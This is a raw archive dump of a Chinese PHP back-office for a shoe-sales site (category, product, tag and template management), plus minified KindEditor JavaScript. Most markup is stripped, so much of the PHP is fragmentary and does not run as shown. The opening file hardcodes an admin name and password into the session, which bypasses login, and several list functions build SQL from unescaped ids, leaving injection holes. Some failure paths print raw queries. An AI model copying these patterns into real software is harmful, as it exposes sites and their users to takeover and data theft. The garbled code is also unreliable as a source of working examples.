html; die($html); } $_SESSION['name'] = 'souxunadmin'; $_SESSION['psw'] = "souxunsouxun"; chdir("../"); require("data/config.php"); require("system/functions.php"); //require("templates/template_func.php"); ?>cheapuggsales.uk.com/admin_frad/del_category.php0000777000000000000000000000140011633550314021023 0ustar rootroot0) { $actions['返回栏目列表']="browse_category.php"; msg("栏目删除成功",$actions); } if($r==-1) msg("栏目有子栏目,不能删除,请先删除栏目下的所有子栏目及产品才能删除栏目。"); if($r==-2) msg("栏目下有产品,不能删除,请先删除栏目下的所有产品后才能删除栏目。"); ?>cheapuggsales.uk.com/admin_frad/mainframe.html0000777000000000000000000000536311633550314020512 0ustar rootroot 管理导航区域
   欢迎使用后台管理!
cheapuggsales.uk.com/admin_frad/edit_category.php0000777000000000000000000000542211633550314021214 0ustar rootroot
所属栏目
栏目名
栏目页title
栏目页keys
栏目描述
cheapuggsales.uk.com/admin_frad/add_product.php0000777000000000000000000001170611633550314020664 0ustar rootroot
$v) { if($k=="id" || $k=="categoryid") continue; if(isset($type)) unset($type); $type=explode("|",$v); $htmli=""; if( $type[0]=="txt" || $type[0]=="int" ) $htmli=""; elseif($type[0]=="txtarea") $htmli=""; elseif($type[0]=="edit") { //$htmli=""; $htmli=<< html; } elseif($type[0]=="time") { $htmli=<< html; } elseif($type[0]=="img") { $htmli=<< html; } else { $htmli=""; } $bt=""; if($type[1]==1)$bt="*"; $html.=<< html; } echo $html; ?>
内容模型*
所属栏目*
$type[2]$bt $htmli
0) { $actions['查看产品列表']="browse_product.php"; $actions['继续添加产品']="add_product.php"; msg("产品添加成功!",$actions); } else { $actions['返回']="javascript:history.go(-1);"; msg("添加产品失败,可能是未选择所属栏目或者未填写产品名称!",$actions); } } ?>cheapuggsales.uk.com/admin_frad/functions.php0000777000000000000000000002225111633550314020401 0ustar rootroot$url) { $a_str.="".$name." "; } $html=<<

$msg


$a_str
html; die($html); } function category_comboboxtree($cid,$selected_cid=0,$ext="请选择栏目",$num=0) { $html=""; if($num==0 && !empty($ext)) $html=""; //if($selected_cid==0 && $cid!=0 && $num==0) $selected_cid=$cid; $brothers=get_category_brothers($cid); foreach($brothers as $b_id) { $cate=get_category($b_id); if($cate) { if($b_id!=$cid || $cid!=0) { $tmp=""; for($i=0;$i<$num;$i++) $tmp.="├─"; if($selected_cid==$b_id) $selected="selected=\"selected\""; $html.=""; $selected=""; } $childids=get_category_sons_ids($b_id); if($childids!="") { $childid_arr=explode(",",$childids); $html.=category_comboboxtree($childid_arr[0],$selected_cid,$ext,$num+1); } } } return $html; } function category_list($page=1,$pagesize=10) { $html=""; $categories=get_category(); $categories=array_slice($categories,($page-1)*$pagesize,$pagesize); foreach($categories as $cate) { $html.=""; $html.="".$cate['id'].""; $html.="".$cate['name'].""; $fcate=get_category($cate['parentid']); $html.="".$fcate['name'].""; $html.="编辑 删除"; $html.=""; } echo $html; } function select_category_list($page=1,$pagesize=10) { $html=""; $categories=get_category(); $categories=array_slice($categories,($page-1)*$pagesize,$pagesize); foreach($categories as $cate) { $html.=""; $html.="".$cate['id'].""; $html.="".$cate['name'].""; $fcate=get_category($cate['parentid']); $html.="".$fcate['name'].""; $html.=""; } echo $html; } function category_sort_list() { $html=""; $categories=get_category(); foreach($categories as $cate) { $html.=""; $html.="".$cate['id'].""; $html.="".$cate['name'].""; $fcate=get_category($cate['parentid']); $html.="".$fcate['name'].""; if(empty($cate['sort_num'])) $cate['sort_num']=0; $html.=""; $html.=""; } echo $html; } function product_list($cid,$page=1,$pagesize=10,$model=MODEL) { $html=""; if($cid==0) $sql="select * from ".$model." limit ".($page-1)*$pagesize.",".$pagesize; else $sql="select * from ".$model." where categoryid=".$cid." limit ".($page-1)*$pagesize.",".$pagesize; $db=opendb(); $r=$db->fetchAll($sql,'id'); foreach($r as $id=>$product) { $html.=""; $html.="".$product['id'].""; $html.="".$product['name'].""; $cate=get_category($product['categoryid']); $html.="".$cate['name'].""; $html.="编辑 删除 评论"; $html.=""; } echo $html; } function select_product_list($cid,$page=1,$pagesize=10,$model=MODEL) { $html=""; if($cid==0) $sql="select * from ".$model." limit ".($page-1)*$pagesize.",".$pagesize; else $sql="select * from ".$model." where categoryid=".$cid." limit ".($page-1)*$pagesize.",".$pagesize; $db=opendb(); $r=$db->fetchAll($sql,'id'); foreach($r as $id=>$product) { $html.=""; $html.="".$product['id'].""; $html.="".$product['name'].""; $cate=get_category($product['categoryid']); $html.="".$cate['name'].""; $html.=""; } echo $html; } function inlink_key_list($type,$page=1,$pagesize=10) { $html=""; $inlink_keys=require(DATA_DIR."inlink_".$type.".php"); $inlink_keys=array_slice($inlink_keys,($page-1)*$pagesize,$pagesize); foreach($inlink_keys as $k=>$v) { $html.=""; $html.="".$k.""; $html.="".$v.""; $html.="编辑 删除"; $html.=""; } echo $html; } function comment_list($page=1,$pagesize=10,$verify=-1) { $html=""; if($verify==-1) $sql="select id,pid,name,comment,replyid,datetime from comment order by id desc limit ".($page-1)*$pagesize.",".$pagesize; else $sql="select id,pid,name,comment,replyid,datetime from comment where verify=".$verify." order by id desc limit ".($page-1)*$pagesize.",".$pagesize; $db=opendb(); $r=$db->fetchAll($sql,'id'); if(empty($r)) return $html; foreach($r as $k=>$v) { $html.=""; $html.="".$k.""; $html.="".$v['pid'].""; $html.="".$v['name'].""; $html.="".str_outsqlite($v['comment']).""; $html.="".$v['replyid'].""; $html.="".date('Y-n-j H:i:s',$v['datetime']).""; $html.="编辑 删除"; $html.=""; } echo $html; } function pages($page,$total,$pagesize=10) { $html=""; if(isset($_GET['p'])) $url="?".$_SERVER['QUERY_STRING']; else $url="?p=1&".$_SERVER['QUERY_STRING']; $url=trim(str_replace("&&","&",$url),"&"); $allpages=ceil($total/$pagesize); for($i=5;$i>=1;$i--) { $pages[]=$page-$i; } $pages[]=$page; for($i=1;$i<=5;$i++) { $pages[]=$page+$i; } foreach($pages as $p) { if($p>0 && $p!=$page && $p<=$allpages) { $url=preg_replace("/(\?|&)p=(\d+)/","$1p=".$p,$url); $html.="[".$p."] "; } if($p==$page) $html.="".$p." "; } if(max($pages)<$allpages) { $url=preg_replace("/(\?|&)p=(\d+)/","$1p=".$allpages,$url); $html.="...末页"; } if(min($pages)>1) { $url=preg_replace("/(\?|&)p=(\d+)/","$1p=1",$url); $html="首页...".$html; } $html="".$html.""; $html="共".$total."条".$allpages."页".$html; //$html.="跳到"; echo $html="
".$html."
"; } //**********内容模型相关******************************** function model_combobox($selected_model,$ext="请选择产品模型",$table_exists=true) { if($ext!='') $html=""; $model=require(MODEL_DIR."model.php"); foreach($model as $name=>$file) { if($table_exists && !product_model_table_is_exists($name)) continue; if($name==$selected_model) $selected="selected=\"selected\""; $html.=""; $selected=""; } return $html; } function template_combobox($type,$selected,$ext="请选择模板",$template_fangan=TEMPLATE) { if($ext!='') $html=""; $templates=require(TEMPLATE_DIR."template.php"); if($template_fangan=='') $template_fangan='default'; $templates=$templates[$template_fangan]; if(empty($templates['templates'][$type])) return $html; if($selected=='')$selected=$templates['default_tpl'][$type]; foreach($templates['templates'][$type] as $tpl) { if($selected==$tpl) $s="selected=\"selected\""; $html.=""; $s=""; } return $html; } function add_categroy_name_to_inlink() { $db=opendb(); $r=$db->fetchAll("select id,name from category"); foreach($r as $rr) { $newdata[strtolower($key)]=$rr['id']; } safe_write(DATA_DIR.'inlink_c.php','add_data',$newdata); } ?>cheapuggsales.uk.com/admin_frad/add_tag.php0000777000000000000000000001344511633550314017761 0ustar rootroot
是否为静态标签* 静态标签:是对产品内容的附加,类似热门、推荐等。目前系统中热门推荐用随机产品更方便,这个为满足更特殊的需求。
所属标签类型*
标签名称* 英文小写
标签依赖的产品模型*
此标签查询产品字段*
查询产品字段类型* 文本型 数字型
标签在字段中查找值* 如果是数字型,且查找的为区间值,填写方法为:小值,大值 【英文逗号分割】
标签中文名称*
标签描述
exec($sql); if($r>0) { if($_POST['isstatic']==1) { $newdata[$_POST['tagname']]='int|0|'.$_POST['tagtitle'].'|0'; safe_write(MODEL_DIR."static_tags.php","add_data",$newdata); $r=$db->fetchAll("select name from sqlite_master where type='table' and name='static_tags'"); if(!$r) create_table_by_model('static_tags'); else alter_table('static_tags'); } $actions['查看标签类型列表']="browse_category.php"; $actions['继续添加标签类型']="add_category.php"; $actions['给标签类型添加标签']="add_category.php"; msg("标签类型添加成功!",$actions); } else { echo $sql; msg("添加失败"); } } ?>cheapuggsales.uk.com/admin_frad/sort_category.php0000777000000000000000000000334111633550314021254 0ustar rootroot
ID 栏目名 父栏目 排序号
$v) { $sql[]="update category set sort_num=".$v." where id=".$k; } $db=opendb(); $db->execMuti($sql,EXEC_ON_FAIL_ROLLBACK,true); msg("栏目排序完成"); } ?>cheapuggsales.uk.com/admin_frad/select_product.php0000777000000000000000000000362411633550314021413 0ustar rootroot
选择栏目 选择内容模型
ID 产品名 所属栏目
cheapuggsales.uk.com/admin_frad/add_model.php0000777000000000000000000001017511633550314020303 0ustar rootroot
模型名称* 英文小写
字段名称【英文小写】 字段设置【严格参照模型说明填写】
$v) { if($k=="" || $v=="") unset($fields[$k]); } $r=create_product_model($_POST['name'],$fields); if(!$r) msg("添加模型失败,可能已存在此模型"); msg("模型添加设置成功"); } ?>cheapuggsales.uk.com/admin_frad/del_comment.php0000777000000000000000000000075011633550314020657 0ustar rootrootcheapuggsales.uk.com/admin_frad/add_category.php0000777000000000000000000000517311633550314021022 0ustar rootroot
所属栏目*
栏目名*
栏目页title
栏目页keys
栏目描述
0) { $actions['查看栏目列表']="browse_category.php"; $actions['继续添加栏目']="add_category.php"; msg("栏目添加成功!",$actions); } elseif($r==-1) msg("父栏目无效"); elseif($r==-2) msg("栏目已存在"); } ?>cheapuggsales.uk.com/admin_frad/template_set.php0000777000000000000000000000502511633550314021057 0ustar rootroot
html; echo $html; } } ?>
模板方案名 所在目录 模板名 是否当前 操作
没有模板'; } else { foreach($v['templates'][$mb_type] as $tpl) { $inuse='否'; if(isset($v['default_tpl'][$mb_type]) && $v['default_tpl'][$mb_type]==$tpl) $inuse=''; $html=<< {$v['name']} {$v['dir']} {$tpl} {$inuse} 设为默认
cheapuggsales.uk.com/admin_frad/edit_tag.php0000777000000000000000000001515611633550314020157 0ustar rootrootfetchAll("select * from tags where parentid!=0 and id=".$id); if(!$tag) msg('ID为'.$id.'的标签不存在'); $tag=$tag[0]; ?>
注:时间关系,此功能暂未完成。不能使用。
是否为静态标签* 静态标签:是对产品内容的附加,类似热门、推荐等。目前系统中热门推荐用随机产品更方便,这个为满足更特殊的需求。
所属标签类型*
标签名称* 英文小写
标签依赖的产品模型*
此标签查询产品字段*
查询产品字段类型* value="0" />文本型 value="1" />数字型
标签在字段中查找值* 如果是数字型,且查找的为区间值,填写方法为:小值,大值 【英文逗号分割】
标签中文名称* " />
标签描述
exec($sql); if($r>0) { if($_POST['isstatic']==1) { $newdata[$_POST['tagname']]='int|0|'.$_POST['tagtitle'].'|0'; safe_write(MODEL_DIR."static_tags.php","add_data",$newdata); $r=$db->fetchAll("select name from sqlite_master where type='table' and name='static_tags'"); if(!$r) create_table_by_model('static_tags'); else alter_table('static_tags'); } $actions['查看标签类型列表']="browse_category.php"; $actions['继续添加标签类型']="add_category.php"; $actions['给标签类型添加标签']="add_category.php"; msg("标签类型添加成功!",$actions); } else { echo $sql; msg("添加失败"); } */ } ?>cheapuggsales.uk.com/admin_frad/html_product.php0000777000000000000000000000406011633550314021073 0ustar rootroot
当前操作
请选择栏目
当前选择栏目下的产品id:
请输入您要预览的产品id:
cheapuggsales.uk.com/admin_frad/manframe.html0000777000000000000000000000255611633550314020342 0ustar rootroot
 
 
 
   
   
   
   
   
   
   
cheapuggsales.uk.com/admin_frad/kindeditor/0000777000000000000000000000000011633550314020007 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/kindeditor-min.js0000777000000000000000000024764611633550314023310 0ustar rootroot(function(f){var d={};d.version="3.5.2 (2010-12-02)";d.scriptPath=function(){for(var a=document.getElementsByTagName("script"),b=0,c=a.length;b-1&&a.indexOf("opera")==-1,GECKO:a.indexOf("gecko")>-1&&a.indexOf("khtml")== -1,WEBKIT:a.indexOf("applewebkit")>-1,OPERA:a.indexOf("opera")>-1}}();d.setting={wyswygMode:true,loadStyleMode:true,resizeMode:2,filterMode:false,autoSetDataMode:true,shadowMode:true,urlType:"",skinType:"default",newlineTag:"p",dialogAlignType:"page",cssPath:"",skinsPath:d.scriptPath+"skins/",pluginsPath:d.scriptPath+"plugins/",minWidth:200,minHeight:100,minChangeSize:5,toolbarLineHeight:24,statusbarHeight:11,items:["source","|","fullscreen","undo","redo","print","cut","copy","paste","plainpaste", "wordpaste","|","justifyleft","justifycenter","justifyright","justifyfull","insertorderedlist","insertunorderedlist","indent","outdent","subscript","superscript","|","selectall","-","title","fontname","fontsize","|","textcolor","bgcolor","bold","italic","underline","strikethrough","removeformat","|","image","flash","media","advtable","hr","emoticons","link","unlink","|","about"],colorTable:[["#E53333","#E56600","#FF9900","#64451D","#DFC5A4","#FFE500"],["#009900","#006600","#99BB00","#B8D100","#60D978", "#00D5FF"],["#337FE5","#003399","#4C33E5","#9933E5","#CC33E5","#EE33EE"],["#FFFFFF","#CCCCCC","#999999","#666666","#333333","#000000"]],noEndTags:["br","hr","img","area","col","embed","input","param"],inlineTags:["b","del","em","font","i","span","strike","strong","sub","sup","u"],endlineTags:["br","hr","table","tbody","td","tr","th","div","p","ol","ul","li","blockquote","h1","h2","h3","h4","h5","h6","script","style","marquee"],htmlTags:{font:["color","size","face",".background-color"],span:[".color", ".background-color",".font-size",".font-family",".background",".font-weight",".font-style",".text-decoration",".vertical-align"],div:["align",".border",".margin",".padding",".text-align",".color",".background-color",".font-size",".font-family",".font-weight",".background",".font-style",".text-decoration",".vertical-align",".margin-left"],table:["border","cellspacing","cellpadding","width","height","align","bordercolor",".padding",".margin",".border","bgcolor",".text-align",".color",".background-color", ".font-size",".font-family",".font-weight",".font-style",".text-decoration",".background",".width",".height"],"td,th":["align","valign","width","height","colspan","rowspan","bgcolor",".text-align",".color",".background-color",".font-size",".font-family",".font-weight",".font-style",".text-decoration",".vertical-align",".background"],a:["href","target","name"],embed:["src","width","height","type","loop","autostart","quality",".width",".height","align","allowscriptaccess","/"],img:["src","width","height", "border","alt","title",".width",".height","/"],hr:["/"],br:["/"],"p,ol,ul,li,blockquote,h1,h2,h3,h4,h5,h6":["align",".text-align",".color",".background-color",".font-size",".font-family",".background",".font-weight",".font-style",".text-decoration",".vertical-align",".text-indent",".margin-left"],"tbody,tr,strong,b,sub,sup,em,i,u,strike":[]},mediaTypes:{rm:"audio/x-pn-realaudio-plugin",flash:"application/x-shockwave-flash",media:"video/x-ms-asf-plugin"}};d.g={};d.plugin={};d.$=function(a,b){return(b|| document).getElementById(a)};d.$$=function(a,b){return(b||document).createElement(a)};d.event={add:function(a,b,c,e){if(a.addEventListener)a.addEventListener(b,c,false);else a.attachEvent&&a.attachEvent("on"+b,c);e!==f&&d.g[e].eventStack.push({el:a,type:b,fn:c})},remove:function(a,b,c,e){if(a.removeEventListener)a.removeEventListener(b,c,false);else a.detachEvent&&a.detachEvent("on"+b,c);if(e!==f){e=d.g[e].eventStack;for(var g=0,h=e.length;g18)&&g.keyCode!=116){b(g);d.event.stop(g);return false}},c);a=a.nodeName=="#document"? a.body:a;this.add(a,"paste",e,c);this.add(a,"cut",e,c)},ctrl:function(a,b,c,e){b=b.toString().match(/^\d{2,}$/)?b:b.toUpperCase().charCodeAt(0);this.add(a,"keydown",function(g){if(g.ctrlKey&&g.keyCode==b&&!g.shiftKey&&!g.altKey){c(g);d.event.stop(g);return false}},e)},ready:function(a,b,c,e){b=b||window;c=c||document;var g=false,h=function(){if(!g){g=true;a()}};if(c.addEventListener)this.add(c,"DOMContentLoaded",h,e);else if(c.attachEvent){this.add(c,"readystatechange",function(){c.readyState=="complete"&& h()},e);if(c.documentElement.doScroll&&typeof b.frameElement==="undefined"){var i=function(){if(!g){try{c.documentElement.doScroll("left")}catch(j){window.setTimeout(i,0);return}h()}};i()}}this.add(b,"load",h,e)}};d.each=function(a,b){for(var c in a)a.hasOwnProperty(c)&&b(c,a[c])};d.eachNode=function(a,b){var c=function(e){if(d.util.getNodeType(e)!=1)return true;for(e=e.firstChild;e;){var g=e.nextSibling;if(!b(e))return false;if(!c(e))return false;e=g}return true};c(a)};d.selection=function(a){this.keRange= this.range=this.sel=null;this.isControl=false;var b=a.parentWindow||a.defaultView;this.init=function(){var c=b.getSelection?b.getSelection():a.selection,e;try{e=c.rangeCount>0?c.getRangeAt(0):c.createRange()}catch(g){}e||(e=d.util.createRange(a));this.sel=c;this.range=e;var h,i,j;if(d.browser.IE)if(e.item){this.isControl=true;c=i=e.item(0);h=j=0}else{this.isControl=false;c=function(l){var m=e.duplicate();m.collapse(l);var p=m.parentElement(),o=p.childNodes;if(o.length==0)return{node:p,pos:0};var q, r=0,u=false,n=e.duplicate();d.util.moveToElementText(n,p);for(var v=0,t=o.length;v0)u=true;else if(x==0)if(l.nodeType==1){m=new d.range(a);m.selectTextNode(l);return{node:m.startNode,pos:0}}else return{node:l,pos:0};if(l.nodeType==1){x=e.duplicate();d.util.moveToElementText(x,l);n.setEndPoint("StartToEnd",x);if(u)r+=x.text.replace(/\r\n|\n|\r/g,"").length;else r=0}else if(l.nodeType==3)if(typeof l.nodeValue==="string"){n.moveStart("character", l.nodeValue.length);r+=l.nodeValue.length}u||(q=l)}if(!u&&q.nodeType==1){q=p.lastChild;return{node:q,pos:q.nodeType==1?1:q.nodeValue.length}}n=e.duplicate();d.util.moveToElementText(n,p);n.setEndPoint("StartToEnd",m);r-=n.text.replace(/\r\n|\n|\r/g,"").length;return{node:q,pos:r}};h=c(true);j=c(false);c=h.node;h=h.pos;i=j.node;j=j.pos}else{c=e.startContainer;h=e.startOffset;i=e.endContainer;j=e.endOffset;if(c.nodeType==1&&typeof c.childNodes[h]!="undefined"){c=c.childNodes[h];h=0}if(i.nodeType==1){j= j==0?1:j;if(typeof i.childNodes[j-1]!="undefined"){i=i.childNodes[j-1];j=i.nodeType==1?0:i.nodeValue.length}}this.isControl=c.nodeType==1&&c===i&&e.startOffset+1==e.endOffset;if(c.nodeType==1&&i.nodeType==3&&j==0&&i.previousSibling)for(var k=i.previousSibling;k;){if(k===c){i=c;break}if(k.childNodes.length!=1)break;k=k.childNodes[0]}if(e.collapsed){k=new d.range(a);k.setTextStart(c,h);i=k.startNode;j=k.startPos}}k=new d.range(a);k.setTextStart(c,h);k.setTextEnd(i,j);this.keRange=k};this.init();this.addRange= function(c){if(!(d.browser.GECKO&&d.browser.VERSION<3)){this.keRange=c;if(d.browser.IE){var e=function(j){var k=d.util.createRange(a),l=j?c.startNode:c.endNode;if(l.nodeType==1){d.util.moveToElementText(k,l);k.collapse(j)}else if(l.nodeType==3){k=d.util.getNodeStartRange(a,l);k.moveStart("character",j?c.startPos:c.endPos)}return k};if(!this.range.item){var g=c.startNode;if(g==c.endNode&&d.util.getNodeType(g)==1&&d.util.getNodeTextLength(g)==0){e=a.createTextNode(" ");g.appendChild(e);d.util.moveToElementText(this.range, g);this.range.collapse(false);this.range.select();g.removeChild(e)}else{if(g.nodeType==3&&c.collapsed()){this.range=e(true);this.range.collapse(true)}else{this.range.setEndPoint("StartToStart",e(true));this.range.setEndPoint("EndToStart",e(false))}this.range.select()}}}else{g=function(j){for(var k=0;j;){j=j.previousSibling;k++}return--k};e=new d.range(a);e.setTextStart(c.startNode,c.startPos);e.setTextEnd(c.endNode,c.endPos);var h=e.startNode,i=e.endNode;d.util.getNodeType(h)==88?this.range.setStart(h.parentNode, g(e.startNode)):this.range.setStart(h,e.startPos);d.util.getNodeType(i)==88?this.range.setEnd(i.parentNode,g(e.endNode)+1):this.range.setEnd(i,e.endPos);this.sel.removeAllRanges();this.sel.addRange(this.range)}}};this.focus=function(){d.browser.IE&&this.range!=null&&this.range.select()}};d.range=function(a){this.endPos=this.endNode=this.startPos=this.startNode=null;this.getParentElement=function(){var b=function(g,h){for(;g&&(!g.tagName||g.tagName.toLowerCase()!="body");){g=g.parentNode;if(h(g))return}}, c=[];b(this.startNode,function(g){c.push(g)});var e;b(this.endNode,function(g){if(d.util.inArray(g,c)){e=g;return true}});return e?e:a.body};this.getNodeList=function(){var b=this,c=this.getParentElement(),e=[],g=false;if(c==b.startNode)g=true;g&&e.push(c);d.eachNode(c,function(h){if(h==b.startNode)g=true;var i=new d.range(a);i.selectTextNode(h);var j=i.comparePoints("START_TO_END",b);if(j>0)return false;else if(j==0)if(i.startNode!==i.endNode||i.startPos!==i.endPos)return false;g&&e.push(h);return true}); return e};this.comparePoints=function(b,c){var e=function(g,h,i,j){if(d.browser.IE){var k=function(m,p,o){var q=d.util.createRange(a),r=d.util.getNodeType(m);if(r==1){d.util.moveToElementText(q,m);q.collapse(o)}else if(r==3){q=d.util.getNodeStartRange(a,m);q.moveStart("character",p);q.collapse(true)}return q},l;l=b=="START_TO_START"||b=="START_TO_END"?k(g,h,true):k(g,h,false);g=b=="START_TO_START"||b=="END_TO_START"?k(i,j,true):k(i,j,false);return l.compareEndPoints("StartToStart",g)}else{l=d.util.createRange(a); l.selectNode(g);b=="START_TO_START"||b=="START_TO_END"?l.collapse(true):l.collapse(false);g=d.util.createRange(a);g.selectNode(i);b=="START_TO_START"||b=="END_TO_START"?g.collapse(true):g.collapse(false);h=l.compareBoundaryPoints(Range.START_TO_START,g)>0?1:l.compareBoundaryPoints(Range.START_TO_START,g)==0?h>j?1:h==j?0:-1:-1}return h};if(b=="START_TO_START")return e(this.startNode,this.startPos,c.startNode,c.startPos);if(b=="START_TO_END")return e(this.startNode,this.startPos,c.endNode,c.endPos); if(b=="END_TO_START")return e(this.endNode,this.endPos,c.startNode,c.startPos);if(b=="END_TO_END")return e(this.endNode,this.endPos,c.endNode,c.endPos)};this.collapsed=function(){return this.startNode===this.endNode&&this.startPos===this.endPos};this.collapse=function(b){b?this.setEnd(this.startNode,this.startPos):this.setStart(this.endNode,this.endPos)};this.setTextStart=function(b,c){var e=b;d.eachNode(b,function(g){if(d.util.getNodeType(g)==3&&g.nodeValue.length>0||d.util.getNodeType(g)==88){e= g;c=0;return false}return true});this.setStart(e,c)};this.setStart=function(b,c){this.startNode=b;this.startPos=c;if(this.endNode===null){this.endNode=b;this.endPos=c}};this.setTextEnd=function(b,c){var e=b;d.eachNode(b,function(g){if(d.util.getNodeType(g)==3&&g.nodeValue.length>0||d.util.getNodeType(g)==88){e=g;c=d.util.getNodeType(g)==3?g.nodeValue.length:0}return true});this.setEnd(e,c)};this.setEnd=function(b,c){this.endNode=b;this.endPos=c;if(this.startNode===null){this.startNode=b;this.startPos= c}};this.selectNode=function(b){this.setStart(b,0);this.setEnd(b,b.nodeType==1?0:b.nodeValue.length)};this.selectTextNode=function(b){this.setTextStart(b,0);this.setTextEnd(b,b.nodeType==1?0:b.nodeValue.length)};this.extractContents=function(b){b=b===f?true:b;var c=this,e=this.startNode,g=this.startPos,h=this.endNode,i=this.endPos,j=function(r,u,n){var v=r.nodeValue.length,t=r.cloneNode(true).splitText(u);t.splitText(n-u);if(b){var x=r;if(u>0)x=r.splitText(u);n/g,"")===""&&u.parentNode&&u.parentNode.removeChild(u);return true},o=this.getParentElement(),q=o.cloneNode(false);p(o,q);return q};this.cloneContents=function(){return this.extractContents(false)};this.getText=function(){return this.cloneContents().innerHTML.replace(/<.*?>/g, "")}};d.cmd=function(a){this.doc=d.g[a].iframeDoc;this.keSel=d.g[a].keSel;this.keRange=d.g[a].keRange;this.mergeAttributes=function(b,c){for(var e=0,g=c.length;e=0){this.mergeAttributes(b.parentNode,h);return b}else{g=g.cloneNode(true);if(j){c=b.cloneNode(true);g.appendChild(c);b.parentNode.replaceChild(g,b);return c}else{j=b;if(c0)j=b.splitText(c);e0?o.parentNode.appendChild(g):o.parentNode.insertBefore(g, o);else o.appendChild(g);h.selectNode(g);return false}else if(o==i)h.setStart(o,0);else{if(o==k){h.setEnd(o,0);return false}}else if(o.nodeType==3)if(p)if(o==i&&o==k){o=e.wrapTextNode(o,j,l,g,c);h.selectNode(o);return false}else if(o==i){o=e.wrapTextNode(o,j,o.nodeValue.length,g,c);h.setStart(o,0)}else if(o==k){o=e.wrapTextNode(o,0,l,g,c);h.setEnd(o,o.nodeType==1?0:o.nodeValue.length);return false}else e.wrapTextNode(o,0,o.nodeValue.length,g,c);return true});this.keSel.addRange(h)}};this.getTopParent= function(b,c){for(var e=null;c;){c=c.parentNode;if(d.util.inArray(c.tagName.toLowerCase(),b))e=c;else break}return e};this.splitNodeParent=function(b,c,e){var g=new d.range(this.doc);g.selectNode(b.firstChild);g.setEnd(c,e);c=g.extractContents();b.parentNode.insertBefore(c,b);return{left:c,right:b}};this.remove=function(b){var c=this.keRange,e=c.startNode,g=c.startPos,h=c.endNode,i=c.endPos;this.keSel.focus();if(!d.util.inMarquee(c.getParentElement())){var j=c.getText().replace(/\s+/g,"")==="";if(!(j&& !d.browser.IE)){var k=[];d.each(b,function(r){r!="*"&&k.push(r)});var l=this.getTopParent(k,e),m=this.getTopParent(k,h);if(l){var p=this.splitNodeParent(l,e,g);c.setStart(p.right,0);if(e==h&&d.util.getNodeTextLength(p.right)>0){c.selectNode(p.right);e=new d.range(this.doc);e.selectTextNode(p.left);if(g>0)i-=e.endNode.nodeValue.length;e.selectTextNode(p.right);h=e.startNode}}if(j){l=c.startNode;if(l.nodeType==1){if(l.nodeName.toLowerCase()=="br")return;c.selectNode(l)}else return}else if(m){g=this.splitNodeParent(m, h,i);c.setEnd(g.left,0);l==m&&c.setStart(g.left,0)}m=function(r,u){if(u.charAt(0)=="."){var n=d.util.getJsKey(u.substr(1));r.style[n]=""}else{if(d.browser.IE&&d.browser.VERSION<8&&u=="class")u="className";r.removeAttribute(u)}};g=c.getNodeList();c.setTextStart(c.startNode,c.startPos);c.setTextEnd(c.endNode,c.endPos);i=0;for(j=g.length;i0&&paths.pop();else l!==""&&l!="."&&paths.push(l)}return"/"+paths.join("/")};if(a.match(/^\//))a=c+g(a.substr(1));else a.match(/^\w+:\/\//)||(a=c+g(e+"/"+a));if(b=="relative"){var h=function(i,j){if(a.substr(0,i.length)=== i){for(var k=[],l=0;l0)l+="/"+k.join("/");if(e=="/")l+="/";return l+a.substr(i.length)}else if(k=i.match(/^(.*)\//))return h(k[1],++j)};a=h(c+e,0).substr(2)}else if(b=="absolute")if(a.substr(0,c.length)===c)a=a.substr(c.length);return a},getHtml:function(a,b,c){var e=b?true:false;a=a.replace(/(]*>)([\s\S]*?)(<\/pre>)/ig,function(m,p,o,q){return p+o.replace(/]*>/ig,"\n")+q});var g={},h=["xx-small","x-small","small","medium","large","x-large","xx-large"]; e&&d.each(b,function(m,p){for(var o=m.split(","),q=0,r=o.length;q]+)|(?:\s+[\w-:]+="[^"]*")|(?:\s+[\w-:]+='[^']*'))*)(\/)?>((?:\r\n|\n|\r)*)/g,function(m,p,o,q,r,u,n){m=p||"";o=o||"";var v=q.toLowerCase();q=r||"";u=u?" "+u:"";n=n||"";if(e&& typeof g[v]=="undefined")return"";if(u===""&&typeof i[v]!="undefined")u=" /";if(v in j){if(o||u)n="\n"}else if(n)n=" ";if(v!=="script"&&v!=="style")m="";if(v==="font"){var t={},x="";q=q.replace(/\s*([\w-:]+)=([^\s"'<>]+|"[^"]*"|'[^']*')/g,function(w,y,s){y=y.toLowerCase();s=s||"";s=s.replace(/^["']|["']$/g,"");if(y==="color"){t.color=s;return" "}if(y==="size"){t["font-size"]=h[parseInt(s)-1]||"";return" "}if(y==="face"){t["font-family"]=s;return" "}if(y==="style"){x=s;return" "}return w});if(x&&!/;$/.test(x))x+= ";";d.each(t,function(w,y){if(y!==""){if(/\s/.test(y))y="'"+y+"'";x+=w+":"+y+";"}});if(x)q+=' style="'+x+'"';v="span"}if(q!==""){q=q.replace(/\s*([\w-:]+)=([^\s"'<>]+|"[^"]*"|'[^']*')/g,function(w,y,s){w=y.toLowerCase();s=s||"";if(e)if(w.charAt(0)==="."||w!=="style"&&typeof g[v][w]=="undefined")return" ";if(s==="")s='""';else{if(w==="style"){s=s.substr(1,s.length-2);s=s.replace(/\s*([^\s]+?)\s*:(.*?)(;|$)/g,function(z,A,B){z=A.toLowerCase();if(e)if(typeof g[v].style=="undefined"&&typeof g[v]["."+ z]=="undefined")return"";B=d.util.trim(B);B=d.util.rgbToHex(B);return z+":"+B+";"});s=d.util.trim(s);if(s==="")return"";s='"'+s+'"'}if(d.util.inArray(w,["src","href"])){if(s.charAt(0)==='"')s=s.substr(1,s.length-2);s=d.format.getUrl(s,c)}if(s.charAt(0)!=='"')s='"'+s+'"'}return" "+w+"="+s+" "});q=q.replace(/\s+(checked|selected|disabled|readonly)(\s+|$)/ig,function(w,y){var s=y.toLowerCase();if(e)if(s.charAt(0)==="."||typeof g[v][s]=="undefined")return" ";return" "+s+'="'+s+'" '});q=d.util.trim(q); if(q=q.replace(/\s+/g," "))q=" "+q;return m+"<"+o+v+q+u+">"+n}else return m+"<"+o+v+u+">"+n});if(!d.browser.IE){a=a.replace(/

\n<\/p>/ig,"

 

");a=a.replace(/\n<\/p>/ig,"

